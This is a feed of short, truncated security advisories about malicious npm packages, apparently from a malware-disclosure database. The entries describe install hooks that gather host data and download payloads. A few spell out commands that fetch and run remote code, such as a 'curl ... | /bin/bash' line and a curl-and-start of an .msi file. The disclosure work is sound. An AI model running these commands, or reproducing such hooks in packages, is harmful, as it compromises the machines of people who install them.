MAL-2026-12334 Malicious code in ach-detail (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c8ce91cbe1aaa587613795b1b82cc84384b499a29af4a18c0a820b77ea1d834 The npm package [email protected] ships a preinstall lifecycle script scripts/preinstall.js that runs automatically on npm install. The script collec...

MAL-2026-12353 Malicious code in clover-codelab-remote-pay-cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 071fbdd6b5ca7cbb0fc696f5abf7a47be3783dd970ca5594cb415e67579f2b15 The package declares a postinstall hook that runs index.js on npm install. index.js collects the OS username, current working directory, hostname, an...

Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

Malicious code in hyper-kube-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e6e8d8500ee41d92250882b57d98d805b381d2d08eeeac7bae55c3f5e417dff package.json declares a preinstall hook that runs index.js on npm install. index.js collects the installer's hostname, username, home directory, DNS...

MAL-2026-12426 Malicious code in relativity-foundation-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c61f9e4ea2d66ea8dd4b9018fa109fe65d00cb0de98b3f8551a95ca3859af5d package.json declares a preinstall script that runs a Node one-liner collecting os.hostname, process.env.USER/USERNAME, cwd, npmconfigregistry, CI,...

MAL-2026-12386 Malicious code in fundraiserservpp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bca913238607a18079a675e2fe652c25c04c2bbc62f5c577bb2b6d2424cd4a8 [email protected] runs node index.js as a preinstall lifecycle script on npm install. The script collects host metadata from the installer machi...

Malicious code in prokit-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8d1f094f3b3aea4e6c087847823efe5c1f1a930ac746aa2696259951e6332f92 On require of the package, index.js unconditionally loads helpers.js, which selects a platform-specific target, downloads an opaque binary over HTTPS...

MAL-2026-12414 Malicious code in pfp-forms-sme-loan (npm)

The package executes a hidden loader when it is imported. The loader downloads and runs a platform-specific native payload from attacker-controlled Cloudflare Workers hosts, or reconstructs the payload from DNS TXT records under well1.site if HTTPS delivery fails. Systems that imported this packa...

Malicious code in test22221 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e4a3401759b5c6d7effdafcbae6027657e3cf8f9aabf1f04dfc2fa9039b64e53 package.json declares preinstall and postinstall lifecycle hooks that run on npm install. Both hooks curl a hardcoded bare-IP endpoint over plain HTT...

MAL-2026-12478 Malicious code in test22221 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e4a3401759b5c6d7effdafcbae6027657e3cf8f9aabf1f04dfc2fa9039b64e53 package.json declares preinstall and postinstall lifecycle hooks that run on npm install. Both hooks curl a hardcoded bare-IP endpoint over plain HTT...

Malicious code in tms-x-headers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d2d5c1a35629a169457029c69505622c3f6a7b6bdc8958480aea47ffe08266b On require of the package, helpers.js fetches a platform-specific binary from hostnames assembled by concatenating string fragments...

MAL-2026-12480 Malicious code in tms-x-headers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d2d5c1a35629a169457029c69505622c3f6a7b6bdc8958480aea47ffe08266b On require of the package, helpers.js fetches a platform-specific binary from hostnames assembled by concatenating string fragments...

Malicious code in checkout-mobile-pay-button (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3299d3b20175ec3cd68c2355ccafd1e969237d93b2e708c92a9913ff323b19be [email protected] is a lure package: its name and README describe a 'mobile pay button platform adapter', but index.js unconditionall...

Malicious code in block_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51 scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npmblockpackage.msi & start...

MAL-2026-12370 Malicious code in eslint-plugin-vitest-ts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a354edd3ce58afcb537f1e58b5152244cc6a98c6b0462de297262d9aba4e17d3 The package declares itself as an ESLint plugin but ships copies of nodemailer's source layout along with an obfuscated install-time loader...

MAL-2026-12360 Malicious code in csv-parser-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 90b87a86eaa4be59def7e48ce9b004266b8c4815a71c84fd1d3df879c702c1ca The package is advertised as a CSV parser but ships a postinstall.js that runs on npm install and performs installer-side reconnaissance and...

Malicious code in william-data-formatter-x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector df0b15d8ca8cdfac8baf861a2db501b3b52eb0e41fd44a6690c351bda8c90835 The package declares a preinstall script node index.js that, on Windows, spawns a hidden PowerShell window -WindowStyle Hidden to fetch...

Malicious code in tt-help-cli-ycl (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6144be61d70f258741e5d4cc1476021f93e3ce82ffa00a3f86189537a1438a6 The package's tt-help watchdog subcommand starts a long-running agent that POSTs heartbeats to a remote server default hardcoded to...

Malicious code in statist-browser-typed-client-sme.platform.web.teasers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30e7b10d7a21e347dca99c9bf32f2c4d81aef8bdc78a10d308b63a881db69027 The package's declared main index.js unconditionally requires./init on load. init.js selects a platform-specific asset win32/darwin/linuxx64/linuxarm...

MAL-2026-12225 Malicious code in time-utils-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 93cbd818e3b29b2b7c9da6f48b3d82baae1af9bd0fa637a2848749bdfea86084 The package advertises itself as a time-formatting utility index.js exports formatDate/capitalize/truncate but ships a postinstall.js lifecycle scrip...